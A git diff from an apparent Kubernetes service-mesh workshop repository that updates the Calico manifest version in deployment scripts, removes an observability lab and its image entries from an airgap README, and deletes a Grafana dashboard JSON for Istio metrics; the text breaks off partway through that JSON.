diff --git a/gloo-mesh/core/2-5/default/scripts/deploy-aws-with-calico.sh b/gloo-mesh/core/2-5/default/scripts/deploy-aws-with-calico.sh index d123dd7b8f..1c7a2ec3cf 100755 --- a/gloo-mesh/core/2-5/default/scripts/deploy-aws-with-calico.sh +++ b/gloo-mesh/core/2-5/default/scripts/deploy-aws-with-calico.sh @@ -184,7 +184,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/core/2-5/default/scripts/deploy-multi-with-calico.sh b/gloo-mesh/core/2-5/default/scripts/deploy-multi-with-calico.sh index e72e1f9720..dea19640aa 100755 --- a/gloo-mesh/core/2-5/default/scripts/deploy-multi-with-calico.sh +++ b/gloo-mesh/core/2-5/default/scripts/deploy-multi-with-calico.sh @@ -121,7 +121,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/core/2-5/default/scripts/deploy-with-calico.sh b/gloo-mesh/core/2-5/default/scripts/deploy-with-calico.sh index 4e1643ee0c..a14138f3c4 100755 --- a/gloo-mesh/core/2-5/default/scripts/deploy-with-calico.sh +++ b/gloo-mesh/core/2-5/default/scripts/deploy-with-calico.sh @@ -117,7 +117,7 @@ docker network connect "kind" us-central1-docker || true docker network connect "kind" quay || true docker network connect "kind" gcr || true -kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.25.0/manifests/calico.yaml +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml # Preload MetalLB images docker pull quay.io/metallb/controller:v0.13.12 diff --git a/gloo-mesh/enterprise/2-4/airgap/README.md b/gloo-mesh/enterprise/2-4/airgap/README.md index e16547b46d..5d7ba91936 100644 --- a/gloo-mesh/enterprise/2-4/airgap/README.md +++ b/gloo-mesh/enterprise/2-4/airgap/README.md @@ -28,9 +28,8 @@ source ./scripts/assert.sh * [Lab 12 - Create the Root Trust Policy](#lab-12---create-the-root-trust-policy-) * [Lab 13 - Leverage Virtual Destinations for east west communications](#lab-13---leverage-virtual-destinations-for-east-west-communications-) * [Lab 14 - Zero trust](#lab-14---zero-trust-) -* [Lab 15 - See how Gloo Platform can help with observability](#lab-15---see-how-gloo-platform-can-help-with-observability-) -* [Lab 16 - Securing the egress traffic](#lab-16---securing-the-egress-traffic-) -* [Lab 17 - VM integration with Spire](#lab-17---vm-integration-with-spire-) +* [Lab 15 - Securing the egress traffic](#lab-15---securing-the-egress-traffic-) +* [Lab 16 - VM integration with Spire](#lab-16---vm-integration-with-spire-) @@ -166,8 +165,6 @@ Pull and push locally the Docker images needed: ```bash cat <<'EOF' > images.txt docker.io/curlimages/curl -docker.io/bats/bats:v1.4.1 -docker.io/grafana/grafana:10.2.3 docker.io/kennethreitz/httpbin docker.io/nginx:1.25.3 docker.io/openpolicyagent/opa:0.57.1-debug @@ -182,15 +179,7 @@ gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 gcr.io/gloo-mesh/rate-limiter:0.10.3 jimmidyson/configmap-reload:v0.8.0 quay.io/keycloak/keycloak:22.0.5 -quay.io/kiwigrid/k8s-sidecar:1.25.2 -quay.io/prometheus-operator/prometheus-config-reloader:v0.70.0 -quay.io/prometheus-operator/prometheus-operator:v0.70.0 -quay.io/prometheus/alertmanager:v0.26.0 -quay.io/prometheus/node-exporter:v1.7.0 quay.io/prometheus/prometheus:v2.41.0 -quay.io/prometheus/prometheus:v2.48.1 -registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20221220-controller-v1.5.1-58-g787ea74b6 -registry.k8s.io/kube-state-metrics/kube-state-metrics:v2.10.1 us-docker.pkg.dev/gloo-mesh/istio-workshops/install-cni:1.19.3-solo us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo @@ -1905,7 +1894,8 @@ Let's add the domains to our `/etc/hosts` file: You can access the `productpage` service using this URL: [http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage). -You should now be able to access the `productpage` application through the browser. -Let's install a few dashboards! - -Now, you can go the the Grafana tab, log in with the default login credentials, admin/prom-operator, and import the dashboard of Istio control plane. - -Add the Operational Dashboard -============================= - -Our Gloo components are all instrumented with Prometheus compatible metrics, providing an easy way to pinpoint a potential degradation. - -You can import the following dashboard to see our Operational Dashboard, covering all of our components in the stack. - -Here, you have specific rows for each components, such as the management server, the agent, the telemetry collectors, and some additional information regarding resource usage. - -```bash -kubectl --context ${MGMT} -n monitoring create cm operational-dashboard \ ---from-file=data/steps/gloo-platform-observability/operational-dashboard.json -kubectl --context ${MGMT} label -n monitoring cm operational-dashboard grafana_dashboard=1 -``` - -Out-of-box alerting -=================== - -Our Prometheus comes with useful alerts by default, making it easier to get notified if something breaks. - -All of the default alerts have corresponding panels on the Operational Dashboard. - -You can click the "Bell" icon on the left, and choose "Alert rules", and check "GlooPlatformAlerts" to take a closer look at them. - -Let's trigger one of the alerts! - -If you scale down the Gloo Agent in let's say `cluster1`, you should have an alert called `GlooPlatformAgentsAreDisconnected` go into first PENDING, then FIRING, let's check this! - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=0 -``` - -The alert will fire in 5m, but even before that, it will reach PENDING state, let's wait for this! - -Don't forget to scale it up after: - -```sh -kubectl --context $CLUSTER1 scale deployment.apps/gloo-mesh-agent -n gloo-mesh --replicas=1 -``` - -Collect remote IstioD metrics securely -====================================== - -Let's take a look how easy it is to modify the metrics collection in the workload clusters, to collect IstioD metrics, and ship them to the management cluster over TLS. - -```bash -helm upgrade --install gloo-platform gloo-platform \ - --repo https://storage.googleapis.com/gloo-platform/helm-charts \ - --namespace gloo-mesh \ - --kube-context ${CLUSTER1} \ - --reuse-values \ - --version 2.4.7 \ - --values - < +## Lab 15 - Securing the egress traffic [VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") @@ -3489,7 +3307,7 @@ kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-ht -## Lab 17 - VM integration with Spire +## Lab 16 - VM integration with Spire Let's see how we can configure a VM to be part of the Mesh. diff --git a/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json b/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json deleted file mode 100644 index 555275afdd..0000000000 --- a/gloo-mesh/enterprise/2-4/airgap/data/steps/gloo-platform-observability/istio-control-plane-dashboard.json +++ /dev/null @@ -1,2272 +0,0 @@ -{ - "__inputs": [ - { - "name": "DS_PROMETHEUS-GM", - "label": "prometheus-GM", - "description": "", - "type": "datasource", - "pluginId": "prometheus", - "pluginName": "Prometheus" - } - ], - "__elements": {}, - "__requires": [ - { - "type": "grafana", - "id": "grafana", - "name": "Grafana", - "version": "9.3.1" - }, - { - "type": "datasource", - "id": "prometheus", - "name": "Prometheus", - "version": "1.0.0" - }, - { - "type": "panel", - "id": "timeseries", - "name": "Time series", - "version": "" - } - ], - "annotations": { - "list": [ - { - "builtIn": 1, - "datasource": { - "type": "datasource", - "uid": "grafana" - }, - "enable": true, - "hide": true, - "iconColor": "rgba(0, 211, 255, 1)", - "name": "Annotations & Alerts", - "target": { - "limit": 100, - "matchAny": false, - "tags": [], - "type": "dashboard" - }, - "type": "dashboard" - } - ] - }, - "editable": true, - "fiscalYearStartMonth": 0, - "graphTooltip": 1, - "id": null, - "links": [], - "liveNow": false, - "panels": [ - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 0 - }, - "id": 60, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": 